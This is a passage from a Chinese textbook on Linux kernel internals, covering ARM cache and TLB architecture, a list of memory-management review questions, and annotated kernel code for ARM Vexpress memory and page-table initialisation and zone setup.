(3)数据结构中频繁访问的成员可以单独占用一个cache line,或者相关的成员在cache line中彼此错开,以提高访问效率。例如,struct zone数据结构中zone->lock和zone-> lru_lock这两个频繁被访问的锁,可以让它们各自使用不同的cache line,以提高获取锁的效率。

再比如struct worker_pool数据结构中的nr_running成员就独占了一个cache line,避免多CPU同时读写该成员时引发其他临近的成员“颠簸”现象,见第5.3节。

(4)slab的着色区,见第2.5节。

(5)自旋锁的实现。在多CPU系统中,自旋锁的激烈争用过程导致严重的CPU cacheline bouncing现象,见第4章关于自旋锁的部分内容。

13.请简述ARM big.LITTLE架构,包括总线连接和cache管理等。

ARM提出大小核概念,即big.LITTLE架构,针对性能优化过的处理器内核称为大核,针对低功耗待机优化过的处理器内核称为小核。

如图1.15所示,在典型big.LITTLE架构中包含了一个由大核组成的集群(Cortex-A57)和小核(Cortex-A53)组成的集群,每个集群都属于传统的同步频率架构,工作在相同的频率和电压下。大核为高性能核心,工作在较高的电压和频率下,消耗更多的能耗,适用于计算繁重的任务。常见的大核处理器有Cortex-A15、Cortex-A57、Cortex-A72和Cortex-A73。小核性能虽然较低,但功耗比较低,在一些计算负载不大的任务中,不用开启大核,直接用小核即可,常见的小核处理器有Cortex-A7和Cortex-A53。

图1.15 典型的big.LITTLE架构

如图1.16所示是4核Cortex-A15和4核Cortex-A7的系统总线框图。

图1.16 4核A15和4核A7的系统总线框图

ARM CoreLink CCI-400模块用于维护大小核集群的数据互联和cache一致性。大小核集群作为主设备(Master),通过支持ACE协议的从设备接口(Slave)连接到CCI-400上,它可以管理大小核集群中的cache一致性和实现处理器间的数据共享。此外,它还支持3个ACE-Lite从设备接口(ACE-Lite Slave Interface),可以支持一些IO主设备,例如GPU Mali-T604。通过ACE-Lite协议,GPU可以监听处理器的cache。CCI-400还支持3个ACE-Lite主设备接口,例如通过DMC-400来连接LP-DDR2/3或DDR内存设备,以及通过NIC-400总线来连接一些外设,例如DMA设备和LCD等。

ACE协议,全称为AMBA AXI Coherency Extension协议,是AXI4协议的扩展协议,增加了很多特性来支持系统级硬件一致性。模块之间共享内存不需要软件干预,硬件直接管理和维护各个cache之间的一致性,这可以大大减少软件的负载,最大效率地使用cache,减少对内存的访问,进而降低系统功耗。

14.cache coherency和memory consistency有什么区别?

cache coherency高速缓存一致性关注的是同一个数据在多个cache和内存中的一致性问题,解决高速缓存一致性的方法主要是总线监听协议,例如MESI协议等。而memory consistency关注的是处理器系统对多个地址进行存储器访问序列的正确性,学术上对内存访问模型提出了很多,例如严格一致性内存模型、处理器一致性内存模型,以及弱一致性内存模型等。弱内存访问模型在现在处理器中得到广泛应用,因此内存屏障指令也得到广泛应用。

15.请简述cache的write back有哪些策略。

在处理器内核中,一条存储器读写指令经过取指、译码、发射和执行等一系列操作之后,率先到达LSU部件。LSU部件包括Load Queue和Store Queue,是指令流水线的一个执行部件,是处理器存储子系统的最顶层,连接指令流水线和cache的一个支点。存储器读写指令通过LSU之后,会到达L1 cache控制器。L1 cache控制器首先发起探测(Probe)操作,对于读操作发起cache读探测操作并将带回数据,写操作发起cache写探测操作。写探测操作之前需要准备好待写的cache line,探测工作返回时将会带回数据。当存储器写指令获得最终数据并进行提交操作之后才会将数据写入,这个写入可以Write Through或者Write Back。

对于写操作,在上述的探测过程中,如果没有找到相应的cache block,那么就是Write Miss,否则就是Write Hit。对于Write Miss的处理策略是Write-Allocate,即L1 cache控制器将分配一个新的cache line,之后和获取的数据进行合并,然后写入L1 cache中。

如果探测的过程是Write Hit,那么真正写入有两种模式。

16.请简述cache line的替换策略。

由于cache的容量远小于主存储器,当Cache Miss发生时,不仅仅意味着处理器需要从主存储器中获取数据,而且需要将cache的某个cache line替换出去。在cache的Tag阵列中,除了具有地址信息之外还有cache block的状态信息。不同的cache一致性策略使用的cache状态信息并不相同。在MESI协议中,一个cache block通常含有M、E、S和I这4个状态位。

cache的替换策略有随机法(Random policy)、先进先出法(FIFO)和最近最少使用算法(LRU)。

在Cortex-A57处理器中,L1 cache采用LRU算法,而L2 cache采用随机算法。在最新的Cortex-A72处理器中,L2 cache采有伪随机算法(pseudo-random policy)或伪LRU算法(pseudo-least-recently-used policy)。

17.多进程间频繁切换对TLB有什么影响?现代的处理器是如何面对这个问题的?

在现代处理器中,软件使用虚拟地址访问内存,而处理器的MMU单元负责把虚拟地址转换成物理地址,为了完成这个映射过程,软件和硬件共同来维护一个多级映射的页表。当处理器发现页表中无法映射到对应的物理地址时,会触发一个缺页异常,挂起出错的进程,操作系统软件需要处理这个缺页异常。我们之前有提到过二级页表的查询过程,为了完成虚拟地址到物理地址的转换,查询页表需要两次访问内存,即一级页表和二级页表都是存放在内存中的。

TLB(Translation Look-aside Buffer)专门用于缓存内存中的页表项,一般在MMU单元内部。TLB是一个很小的cache,TLB表项(TLB entry)数量比较少,每个TLB表项包含一个页面的相关信息,例如有效位、虚拟页号、修改位、物理页帧号等。当处理器要访问一个虚拟地址时,首先会在TLB中查询。如果TLB表项中没有相应的表项,称为TLB Miss,那么就需要访问页表来计算出相应的物理地址。如果TLB表项中有相应的表项,那么直接从TLB表项中获取物理地址,称为TLB命中。

TLB内部存放的基本单位是TLB表项,TLB容量越大,所能存放的TLB表项就越多,TLB命中率就越高,但是TLB的容量是有限的。目前Linux内核默认采用4KB大小的小页面,如果一个程序使用512个小页面,即2MB大小,那么至少需要512个TLB表项才能保证不会出现TLB Miss的情况。但是如果使用2MB大小的大页,那么只需要一个TLB表项就可以保证不会出现TLB Miss的情况。对于消耗内存以GB为单位的大型应用程序,还可以使用以1GB为单位的大页,从而减少TLB Miss情况。

18.请简述NUMA架构的特点。

现在绝大数ARM系统都采用UMA的内存架构(Uniform Memory Architechture),即内存是统一结构和统一寻址。对称多处理器(Symmetric Multiple Processing,SMP)系统大部分都采用UMA内存架构。因此在UMA架构的系统中有如下特点。

如图1.17所示,SMP系统相对比较简洁,但是缺点也很明显。因为所有对等的处理器都通过一条总线连接在一起,随着处理器数量的增多,系统总线成为系统的最大瓶颈。

NUMA系统[8]是从SMP系统演化过来的。如图1.18所示,NUMA系统由多个内存节点组成,整个内存体系可以作为一个整体,任何处理器都可以访问,只是处理器访问本地内存节点拥有更小的延迟和更大的带宽,处理器访问远程内存节点速度要慢一些。每个处理器除了拥有本地的内存之外,还可以拥有本地总线,例如PCIE、STAT等。

图1.17 SMP架构示意图

图1.18 NUMA架构示意图

现在的x86阵营的服务器芯片早已支持NUMA架构了,例如Intel的至强服务器。对于ARM阵营,2016年Cavium公司发布的基于ARMv8-A架构设计的服务器芯片“ThunderX2”[9]也开始支持NUMA架构。

19.ARM从Cortex系列开始性能有了质的飞越,比如Cortex-A8/A15/A53/A72,请说说Cortex系列在芯片设计方面做了哪些重大改进?

计算机体系结构是一个权衡的艺术,尺有所短,寸有所长。在处理器领域经历多年的优胜劣汰,市面上流行的处理器内核在技术上日渐趋同。

ARM处理器在Cortex系列之后,加入了很多现代处理器的一些新技术和特性,已经具备了和Intel一较高下的能力,例如2016年发布的Cortex-A73处理器。

2005年发布的Cortex-A8内核是第一个引入超标量技术的ARM处理器,它在每个时钟周期内可以并行发射两条指令,但依然使用静态调度的流水线和顺序执行方式。Cortex-A8内核采用13级整型指令流水线和10级NEON指令流水线。分支目标缓冲器(Branch Target Buffer,BTB)使用的条目数增加到512,同时设置了全局历史缓冲器(Global History Buffer,GHB)和返回堆栈(Return Stack,RS)部件,这些措施极大地提高了指令分支预测的成功率。另外,还加入了way-prediction部件。

2007年Cortex-A9发布,引入了乱序执行和猜测执行机制以及扩大L2 cache的容量。

2010年Cortex-A15发布,最高主频可以到2.5GHz,最多支持8个处理器核心,单个cluster最多支持4个处理器核心,采有超标量流水线技术,具有1TB物理地址空间,支持虚拟化技术等新技术。指令预取总线宽度为128bit,一次可以预取4~8条指令,和Cortex-A9相比,提高了一倍。Decode部件一次可以译码3条指令。Cortex-A15引入了Micro-Ops概念。Micro-ops指令和X86的uops指令想法较为类似。在x86处理器中,指令译码单元把复杂的CISC指令转换成等长的upos指令,再进入到指令流水线中;而Cortex-A15,指令译码单元把RISC指令进一步细化为Micro-ops指令,以充分利用指令流水线中的多个并发执行单元。指令译码单元为3路指令译码,在一个时钟周期可以同时译码3条指令。

2012年发布64位的Cortex-A53和Cortex-A57,ARM开始进军服务器领域。Cortex-A57是首款支持64位的ARM处理器内核,采用3发乱序执行流水线(Out-of-Order pipeline),并且增加数据预取功能。

2015年发布Cortex-A57的升级版本Cortex-A72,如图1.19所示。A72在A57架构的基础上做了大量优化工作,包括新的分支预测单元,改善解码流水线设计等。在指令分发

图1.19 Cortex-A72处理器架构图[10]

单元(Dispatch)也做了很大优化,由原来A57架构的3发射变成了5发射,同时发射5条指令,并且还支持并行执行8条微操作指令,从而提高解码器的吞吐量。

最新近展

最近几年,x86和ARM阵营都在各自领域中不断创新。异构计算是一个很热门的技术方向,比如Intel公司最近发布了集成FPGA的至强服务器芯片。FPGA可以在客户的关键算法中提供可编程、高性能的加速能力,另外提供了灵活性,关键算法的更新优化,不需要购买大量新硬件。在数据中心领域,从事海量数据处理的应用中有不少关键算法需要优化,如密钥加速、图像识别、语音转换、文本搜索等。在安防监控领域,FPGA可以实现对大量车牌的并行分析。强大的至强处理器加上灵活高效的FPGA会给客户在云计算、人工智能等新兴领域带来新的技术创新。对于ARM阵营,ARM公司发布了最新的Cortex-A75处理器以及最新处理器架构DynamIQ等新技术。DynmaIQ技术新增了针对机器学习和人工智能的全新处理器指令集,并增加了多核配置的灵活性。另外ARM公司也发布了一个用于数据中心应用的指令集——Scalable Vector Extensions,最高支持2048 bit可伸缩的矢量计算。

除了x86和ARM两大阵营的创新外,最近几年开源指令集(指令集架构,Instruction Set Architecture,ISA)也是很火热的新发展方向。开源指令集的代表作是OpenRISC,并且Open Risk已经被Linux内核接受,成为官方Linux内核支持的一种体系结构。但是由于OpenRISC是由爱好者维护的,因此更新缓慢。最近几年,伯克利大学正在尝试重新设计一个全新的开源指令集,并且不受专利的约束和限制,这就是RISC-V,其中“V”表示变化(variation)和向量(vectors)。RISC-V包含一个非常小的基础指令集和一系列可选的扩展指令集,最基础的指令集只包含40条指令,通过扩展可以支持64位和128位运算以及变长指令。

伯克利大学对RISC-V指令集不断改进,迅速得到工业界和学术届的关注。2016年,RISC-V基金会成立,成员包括谷歌、惠普、甲骨文、西部数据、华为等巨头,未来这些大公司非常有可能会将RISC-V运用到云计算或者IoT等产品中。RISC-V指令集类似Linux内核,是一个开源的、现代的、没有专利问题和历史包袱的全新指令集,并且以BSD许可证发布。

目前RISC-V已经进入了GCC/Binutils的主线,相信很快也会被官方Linux内核接受。另外目前已经有多款开源和闭源的RISC-V CPU的实现,很多第三方工具和软件厂商也开始支持RISC-V。RISC-V是否会变成开源硬件或是开源芯片领域的Linux呢?让我们拭目以待吧!

推荐书籍

计算机体系结构是一门计算机科学的基础课程,除了阅读ARM的芯片手册以外,还可以阅读一些经典的书籍和文章。

[1] http://infocenter.arm.com

[2] Trustzone技术在ARMv6架构中已实现,在ARMv7-A架构的Cortex-A系列处理器中开始大规模使用。

[3] 该图参考http://pc.watch.impress.co.jp/docs/column/kaigai/602106.html。虽然该图出自非ARM官方资料,但是对理解Cortex-A系列处理器内部架构很有帮助。

[4] 详见<ARM CoreLink CCI-400 Cache Coherent Interconnect Technical Reference Manual>。

[5] 详见<ARM CoreLink DMC-400 Dynamic Memory Controller Technical Reference>。

[6] 详见<ARM CoreLink NIC-400 Network Interconnect Technical Reference>。

[7] 详见<ARM CoreLink MMU-400 System Memory Management Technical Reference>。

[8] http://frankdenneman.nl/2016/07/06/introduction-2016-numa-deep-dive-series/

[9] http://www.cavium.com/ThunderX2_ARM_Processors.html

[10] http://pc.watch.impress.co.jp/img/pcw/docs/699/491/html/4.jpg.html

本章思考题

1.在系统启动时,ARM Linux内核如何知道系统中有多大的内存空间?

2.在32bit Linux内核中,用户空间和内核空间的比例通常是3:1,可以修改成2:2吗?

3.物理内存页面如何添加到伙伴系统中,是一页一页添加,还是以2的几次幂来加入呢?

4.内核的一级页表存放在什么地方?内核空间的二级页表又存放在什么地方?

5.用户进程的一级页表存放在什么地方?二级页表又存放在什么地方?

6.在ARM32系统中,页表是如何映射的?在ARM64系统中,页表又是如何映射的?

7.请简述Linux内核在理想情况下页面分配器(page allocator)是如何分配出连续物理页面的。

8.在页面分配器中,如何从分配掩码(gfp_mask)中确定可以从哪些zone中分配内存?

9.页面分配器是按照什么方向来扫描zone的?

10.为用户进程分配物理内存,分配掩码应该选用GFP_KERNEL,还是GFP_HIGHUSER_MOVABLE呢?

11.slab分配器是如何分配和释放小内存块的?

12.slab分配器中有一个着色的概念(cache color),着色有什么作用?

13.slab分配器中的slab对象有没有根据Per-CPU做一些优化?

14.slab增长并导致大量不用的空闲对象,该如何解决?

15.请问kmalloc、vmalloc和malloc之间有什么区别以及实现上的差异?

16.使用用户态的API函数malloc()分配内存时,会马上为其分配物理内存吗?

17.假设不考虑libc的因素,malloc分配100Byte,那么实际上内核是为其分配100Byte吗?

18.假设两个用户进程打印的malloc()分配的虚拟地址是一样的,那么在内核中这两块虚拟内存是否打架了呢?

19.vm_normal_page()函数返回的是什么样页面的struct page数据结构?为什么内存管理代码中需要这个函数?

20.请简述get_user_page()函数的作用和实现流程。

21.请简述follow_page()函数的作用的实现流程。

22.请简述私有映射和共享映射的区别。

23.为什么第二次调用mmap时,Linux内核没有捕捉到地址重叠并返回失败呢?

#strace捕捉某个app调用mmap的情况
mmap(0x20000000, 819200, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x20000000
…
mmap(0x20000000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x20000000

24.struct page数据结构中的_count和_mapcount有什么区别?

25.匿名页面和page cache页面有什么区别?

26.struct page数据结构中有一个锁,请问trylock_page()和lock_page()有什么区别?

27.在Linux 2.4.x内核中,如何从一个page找到所有映射该页面的VMA?反向映射可以带来哪些便利?

28.阅读Linux 4.0内核RMAP机制的代码,画出父子进程之间VMA、AVC、anon_vma和page等数据结构之间的关系图。

29.在Linux 2.6.34中,RMAP机制采用了新的实现,在Linux 2.6.33和之前的版本中称为旧版本RMAP机制。那么在旧版本RMAP机制中,如果父进程有1000个子进程,每个子进程都有一个VMA,这个VMA里面有1000个匿名页面,当所有的子进程的VMA同时发生写复制时会是什么情况呢?

30.当page加入lru链表中,被其他线程释放了这个page,那么lru链表如何知道这个page已经被释放了?

31.kswapd内核线程何时会被唤醒?

32.LRU链表如何知道page的活动频繁程度?

33.kswapd按照什么原则来换出页面?

34.kswapd按照什么方向来扫描zone?

35.kswapd以什么标准来退出扫描LRU?

36.手持设备例如Android系统,没有swap分区或者swap文件,kswapd会扫描匿名页面LRU吗?

37.swappiness的含义是什么?kswapd如何计算匿名页面和page cache之间的扫描比重?

38.当系统充斥着大量只访问一次的文件访问(use-one streaming IO)时,kswapd如何来规避这种风暴?

39.在回收page cache时,对于dirty的page cache,kswapd会马上回写吗?

40.内核有哪些页面会被kswapd写回交换分区?

41.ARM32 Linux如何模拟这个Linux版本的L_PTE_YOUNG比特位呢?

42.如何理解Refault Distance算法?

43.请简述匿名页面的生命周期。在什么情况下会产生匿名页面?在什么条件下会释放匿名页面?

44.KSM是基于什么原理来合并页面的?

45.在KSM机制里,合并过程中把page设置成写保护的函数write_protect_page()有这样一个判断:

if (page_mapcount(page) + 1 + swapped != page_count(page)) {
      goto out_unlock;
}

请问这个判断的依据是什么?

46.如果多个VMA的虚拟页面同时映射了同一个匿名页面,那么此时page->index应该等于多少?

47.为什么Dirty COW小程序可以修改一个只读文件的内容?

48.在Dirty COW内存漏洞中,如果Dirty COW程序没有madviseThread线程,即只有procselfmemThread线程,能否修改foo文件的内容呢?

49.假设在内核空间获取了某个文件对应的page cache页面的struct page数据结构,而对应的VMA属性是只读,那么内核空间是否可以成功修改该文件呢?

50.如果用户进程使用只读属性(PROT_READ)来mmap映射一个文件到用户空间,然后使用memcpy来写这段内存空间,会是什么样的情况?

51.请画出内存管理中常用的数据结构的关系图,如mm_struct、vma、vaddr、page、pfn、pte、zone、paddr和pg_data等,并思考如下转换关系。

52.请画出在最糟糕的情况下分配若干个连续物理页面的流程图。

53.在Android中新添加了LMK(Low Memory Killer),请描述LMK和OOM Killer之间的关系。

54.请描述一致性DMA映射dma_alloc_coherent()函数在ARM中是如何管理cache一致性的?

55.请描述流式DMA映射dma_map_single()函数在ARM中是如何管理cache一致性的?

56.为什么在Linux 4.8内核中要把基于zone的LRU链表机制迁移到基于Node呢?

很多同学接触Linux的内存管理是从malloc()这个C语言库函数开始的,也是从那时开始就知道了有虚拟内存这个概念,那虚拟内存究竟是什么呢?怎么虚拟?对于只关注上层应用程序编程的同学来说,可能不是太关心这些知识。可是如果不了解一些这方面知识,就很难设计出高效的应用程序。比较早期的操作系统是没有虚拟内存这个概念的,为什么现代操作系统都有虚拟内存这个概念,包括Windows和Linux?要弄明白虚拟内存,你可能需要了解什么是MMU、页表、物理内存、物理页面、建立映射关系、按需分配、缺页中断和写时复制等机制和概念。

当了解MMU时,除了要了解MMU工作原理外,还会接触到Linux内核如何建立页表映射,其中也包括用户空间页表的建立和内核空间页表的建立,以及内核是如何查询页表和修改页表的。

当了解物理内存和物理页面时,会接触到struct pg_data_t、struct zone和struct page等数据结构,这3个数据结构描述了系统中物理内存的组织架构。struct page数据结构除了描述一个4KB大小(或者其他大小)的物理页面外,还包含很多复杂而有趣的成员。

当了解怎么分配物理页面时,会接触到伙伴系统机制和页面分配器(page allocator),页面分配器是内存管理中最复杂的代码之一。

有了物理内存,那怎么和虚拟内存建立映射关系呢?在Linux内核中,描述进程的虚拟内存用struct vm_area_struct数据结构。虚拟内存和物理内存采用建立页表的方法来完成建立映射关系。为什么和进程地址空间建立映射的页面有的叫匿名页面,而有的叫page cache页面呢?

当了解malloc()怎么分配出物理内存时,会接触到缺页中断,缺页中断也是内存管理中最复杂的代码之一。

这时,虚拟内存和物理内存已经建立了映射关系,这是以页为基础的,可是有时内核需要小于一个页面大小的内存,那么slab机制就诞生了。

上面已经建立起虚拟内存和物理内存的基本框图,但是如果用户持续分配和使用内存导致物理内存不足了怎么办?此时页面回收机制和反向映射机制就应运而生了。

虚拟内存和物理内存的映射关系经常是建立后又被解除了,时间长了,系统物理页面布局变得凌乱不堪,碎片化严重,这时内核如果需要分配大块连续内存就会变得很困难,那么内存规整机制(Memory Compaction)就诞生了。

上述是一位笨叔叔学习Linux内核内存管理知识中痛并快乐着的心路历程。

本章主要介绍Linux内核管理中一些基本的知识,包括内存初始化、页表映射过程、内核内存布局图、伙伴系统、slab分配器、vmalloc、VMA操作、malloc、mmap、缺页中断、page引用计数、反向映射、页面回收、匿名页面的宿命、页面迁移、内存规整、KSM、Dirty COW等内容,内存管理包罗万象,本书不可能面面俱到。

本章大部分内容是以ARM Vexpress平台为例来讲述的,如何搭建该实验平台请参考第6.1节。建议读者先阅读第6.1节,并且在Ubuntu 16.04机器上先搭建这样一个简单好用的实验平台,本章列出的一些实验数据可能和读者的数据有些许不同。

除了依照本章列出来的思考题来阅读内存管理代码之外,从用户态的API来深入了解Linux内核的内存管理机制也是一个很好的方法,下面列出常见的用户态内存管理相关的API。

void *malloc(size_t size);
void free(void *ptr);


void *mmap(void *addr, size_t length, int prot, int flags,
           int fd, off_t offset);
int munmap(void *addr, size_t length);

int getpagesize(void);

int mprotect(const void *addr, size_t len, int prot);

int mlock(const void *addr, size_t len);
int munlock(const void *addr, size_t len);

int madvise(void *addr, size_t length, int advice);
void *mremap(void *old_address, size_t old_size,
          size_t new_size, int flags, ... /* void *new_address */);

int remap_file_pages(void *addr, size_t size, int prot,
           ssize_t pgoff, int flags);

第2.8节讲述malloc()函数在Linux内核的实现,第2.9节讲述mmap()在Linux内核中的实现,第2.17节用到madvise()这个API,相信读者阅读完本章之后会更容易理解这些用户态API的实现。

第2.19节总结了Linux内核内存管理中常用的数据结构之间错综复杂的关系,同时也归纳了内核中常用的内存管理相关的API,相信读者在了解数据结构和API之后对内存管理会有更深刻的理解。

为了行文方便,本章有如下一些约定。

在阅读本节前请思考如下小问题。

从硬件角度来看内存,随机存储器(Random Access Memory,RAM)是与CPU直接交换数据的内部存储器。现在大部分计算机都使用DDR(Dual Data Rate SDRAM)的存储设备,DDR包括DDR3L、DDR4L、LPDDR3/4等。DDR的初始化一般是在BIOS或boot loader中,BIOS或boot loader把DDR的大小传递给Linux内核,因此从Linux内核角度来看DDR其实就是一段物理内存空间。

内存管理是一个很复杂的系统,涉及的内容很多。如果用分层来描述,内存空间可以分成3个层次,分别是用户空间层、内核空间层和硬件层,如图2.1所示。

用户空间层可以理解为Linux内核内存管理为用户空间暴露的系统调用接口,例如brk、mmap等系统调用。通常libc库会封装成大家常见的C语言函数,例如malloc()和mmap()等。

内核空间层包含的模块相当丰富。用户空间和内核空间的接口是系统调用,因此内核空间层首先需要处理这些内存管理相关的系统调用,例如sys_brk、sys_mmap、sys_madvise等。接下来就包括VMA管理、缺页中断管理、匿名页面、page cache、页面回收、反向映射、slab分配器、页表管理等模块了。

图2.1 内存管理框图

最下面的是硬件层,包括处理器的MMU、TLB和cache部件,以及板载的物理内存,例如LPDDR或者DDR。

上述只是一个很抽象的概述,相信读者阅读完本章会对内存管理有一个清晰的认知和理解。

在ARM Linux中,各种设备的相关属性描述都采用DTS方式来呈现。DTS是device tree source的简称,最早是由PowerPC等其他体系结构使用的FDT(Flattened Device Tree)转变过来的,ARM Linux社区自2011年被Linus Torvalds公开批评之后开始全面支持DTS,并且删除了大量的冗余代码。

在ARM Vexpress平台中,内存的定义在vexpress-v2p-ca9.dts文件中。该DTS文件定义了内存的起始地址为0x60000000,大小为0x40000000,即1GB大小内存空间。

[arch/arm/boot/dts/vexpress-v2p-ca9.dts]

    memory@60000000 {
       device_type = "memory";
       reg = < 0x60000000 0x40000000>;
    };

内核在启动的过程中,需要解析这些DTS文件,实现代码在early_init_dt_scan_memory()函数中。代码调用关系为:start_kernel()->setup_arch()->setup_machine_fdt()->early_init_dt_scan_nodes()->early_init_dt_scan_memory()。

[drivers/of/fdt.c]

int __init early_init_dt_scan_memory(unsigned long node, const char *uname,
                        int depth, void *data)
{
     const char *type = of_get_flat_dt_prop(node, "device_type", NULL);
     const __be32 *reg, *endp;
     int l;

     if (strcmp(type, "memory") != 0)
         return 0;

 reg = of_get_flat_dt_prop(node, "reg", &l);
     endp = reg + (l / sizeof(__be32));

     while ((endp - reg) >= (dt_root_addr_cells + dt_root_size_cells)) {
         u64 base, size;

         base = dt_mem_next_cell(dt_root_addr_cells, &reg);
         size = dt_mem_next_cell(dt_root_size_cells, &reg);

         if (size == 0)
               continue;
         early_init_dt_add_memory_arch(base, size);
     }

     return 0;
}

解析“memory”描述的信息从而得到内存的base_address和size信息,最后内存块信息通过early_init_dt_add_memory_arch ()->memblock_add()函数添加到memblock子系统中。

在内核使用内存前,需要初始化内核的页表,初始化页表主要在map_lowmem()函数中。在映射页表之前,需要把页表的页表项清零,主要在prepare_page_table()函数中实现。

[start_kernel()->setup_arch()->paging_init()]

static inline void prepare_page_table(void)
{
     unsigned long addr;
     phys_addr_t end;

     /*
      * Clear out all the mappings below the kernel image.
      */
     for (addr = 0; addr < MODULES_VADDR; addr += PMD_SIZE)
          pmd_clear(pmd_off_k(addr));

     for ( ; addr < PAGE_OFFSET; addr += PMD_SIZE)
         pmd_clear(pmd_off_k(addr));

     /*
      * Find the end of the first block of lowmem.
      */
     end = memblock.memory.regions[0].base + memblock.memory.regions[0].size;
     /*
      * Clear out all the kernel space mappings, except for the first
      * memory bank, up to the vmalloc region.
      */
     for (addr = __phys_to_virt(end);
           addr < VMALLOC_START; addr += PMD_SIZE)
           pmd_clear(pmd_off_k(addr));
}

这里对如下3段地址调用pmd_clear()函数来清除一级页表项的内容。

[start_kernel()->setup_arch()->paging_init()->map_lowmem()]

static void __init map_lowmem(void)
{
     struct memblock_region *reg;
     phys_addr_t kernel_x_start = round_down(__pa(_stext), SECTION_SIZE);
     phys_addr_t kernel_x_end = round_up(__pa(__init_end), SECTION_SIZE);

     /* Map all the lowmem memory banks. */
     for_each_memblock(memory, reg) {
          phys_addr_t start = reg->base;
          phys_addr_t end = start + reg->size;
          struct map_desc map;

          if (end > arm_lowmem_limit)
               end = arm_lowmem_limit;

          //映射kernel image区域
          map.pfn = __phys_to_pfn(kernel_x_start);
          map.virtual = __phys_to_virt(kernel_x_start);
          map.length = kernel_x_end - kernel_x_start;
          map.type = MT_MEMORY_RWX;

 create_mapping(&map);

          //映射低端内存
          if (kernel_x_end < end) {
              map.pfn = __phys_to_pfn(kernel_x_end);
              map.virtual = __phys_to_virt(kernel_x_end);
              map.length = end - kernel_x_end;
              map.type = MT_MEMORY_RW;

 create_mapping(&map);
          }
     }
}

真正创建页表是在map_lowmem()函数中,会从内存开始的地方覆盖到arm_lowmem_limit处。这里需要考虑kernel代码段的问题,kernel的代码段从_stext开始,到_init_end结束。以ARM Vexpress平台为例。

其中,arm_lowmem_limit地址需要考虑高端内存的情况,该值的计算是在sanity_check_meminfo()函数中。在ARM Vexpress平台中,arm_lowmem_limit等于vmalloc_min,其定义如下:

static void * __initdata vmalloc_min =
     (void *)(VMALLOC_END - (240 << 20) - VMALLOC_OFFSET);

phys_addr_t vmalloc_limit = __pa(vmalloc_min - 1) + 1;

map_lowmem()会对两个内存区间创建映射。

(1)区间1

(2)区间2

MT_MEMORY_RWX和MT_MEMORY_RW的区别在于 ARM页表项有一个XN比特位,XN比特位置为1,表示这段内存区域不允许执行。

映射函数为create_mapping(),这里创建的映射就是物理内存直接映射,或者叫作线性映射,该函数会在第2.2节中详细介绍。

对页表的初始化完成之后,内核就可以对内存进行管理了,但是内核并不是统一对待这些页面,而是采用区块zone的方式来管理。struct zone数据结构的主要成员如下:

[include/linux/mmzone.h]

struct zone {
    /* Read-mostly fields */
    unsigned long watermark[NR_WMARK];
    long lowmem_reserve[MAX_NR_ZONES];
    struct pglist_data    *zone_pgdat;
    struct per_cpu_pageset __percpu *pageset;
    unsigned long        zone_start_pfn;
    unsigned long        managed_pages;
    unsigned long        spanned_pages;
    unsigned long        present_pages;
    const char        *name;

 ZONE_PADDING(_pad1_)
    struct free_area    free_area[MAX_ORDER];
    unsigned long        flags;
 spinlock_t lock;

 ZONE_PADDING(_pad2_)
 spinlock_t lru_lock;
    struct lruvec        lruvec;

 ZONE_PADDING(_pad3_)
    atomic_long_t        vm_stat[NR_VM_ZONE_STAT_ITEMS];
} ____cacheline_internodealigned_in_smp;

首先struct zone是经常会被访问到的,因此这个数据结构要求以L1 Cache对齐。另外,这里的ZONE_PADDING()是让zone->lock和zone->lru_lock这两个很热门的锁可以分布在不同的cache line中。一个内存节点最多也就几个zone,因此zone数据结构不需要像struct page一样关注数据结构的大小,因此这里ZONE_PADDING()可以为了性能而浪费空间。在内存管理开发过程中,内核开发者逐步发现有一些自旋锁会竞争得非常厉害,很难获取。像zone->lock和zone->lru_lock这两个锁有时需要同时获取锁,因此保证它们使用不同的cache line是内核常用的一种优化技巧。

通常情况下,内核的zone分为ZONE_DMA、ZONE_DMA32、ZONE_NORMAL和ZONE_HIGHMEM。在ARM Vexpress平台中,没有定义CONFIG_ZONE_DMA和CONFIG_ZONE_DMA32,所以只有ZONE_NORMAL和ZONE_HIGHMEM两种。zone类型的定义在include/linux/mmzone.h文件中。

enum zone_type {
 ZONE_NORMAL,
#ifdef CONFIG_HIGHMEM
 ZONE_HIGHMEM,
#endif
    ZONE_MOVABLE,
    __MAX_NR_ZONES
};

zone的初始化函数集中在bootmem_init()中完成,所以需要确定每个zone的范围。在find_limits()函数中会计算出min_low_pfn、max_low_pfn和max_pfn这3个值。其中,min_low_pfn是内存块的开始地址的页帧号(0x60000),max_low_pfn(0x8f800)表示normal区域的结束页帧号,它由arm_lowmem_limit这个变量得来,max_pfn(0xa0000)是内存块的结束地址的页帧号。

下面是ARM Vexpress平台运行之后打印出来的zone的信息。

Normal zone: 1520 pages used for memmap
Normal zone: 0 pages reserved
Normal zone: 194560 pages, LIFO batch:31  //ZONE_NORMAL
HighMem zone: 67584 pages, LIFO batch:15 //ZONE_HIGHMEM

Virtual kernel memory layout:
    vector  : 0xffff0000 - 0xffff1000   (   4 KB)
    fixmap  : 0xffc00000 - 0xfff00000   (3072 KB)
 vmalloc : 0xf0000000 - 0xff000000 ( 240 MB)
 lowmem : 0xc0000000 - 0xef800000 ( 760 MB)
    pkmap   : 0xbfe00000 - 0xc0000000   ( 2 MB)
    modules : 0xbf000000 - 0xbfe00000   ( 14 MB)
     .text : 0xc0008000 - 0xc0676768   (6586 KB)
     .init : 0xc0677000 - 0xc07a0000   (1188 KB)
     .data : 0xc07a0000 - 0xc07cf938   ( 191 KB)
      .bss : 0xc07cf938 - 0xc07f9378   ( 167 KB)

可以看出ARM Vexpress平台分为两个zone,ZONE_NORMAL和ZONE_HIGHMEM。其中ZONE_NORMAL是从0xc0000000到0xef800000,这个地址空间有多少个页面呢?

(0xef800000 - 0xc0000000)/ 4096 = 194560

所以ZONE_NORMAL有194560个页面。

另外ZONE_NORMAL的虚拟地址的结束地址是0xef800000,减去PAGE_OFFSET (0xc0000000),再加上PHY_OFFSET(0x60000000),正好等于0x8f80_0000,这个值等于我们之前计算出的arm_lowmem_limit。

zone的初始化函数在free_area_init_core()中。

[start_kernel->setup_arch->paging_init->bootmem_init->zone_sizes_init->free_area_init_node->free_area_init_core]

static void __paginginit free_area_init_core(struct pglist_data *pgdat,
          unsigned long node_start_pfn, unsigned long node_end_pfn,
          unsigned long *zones_size, unsigned long *zholes_size)
{
     enum zone_type j;
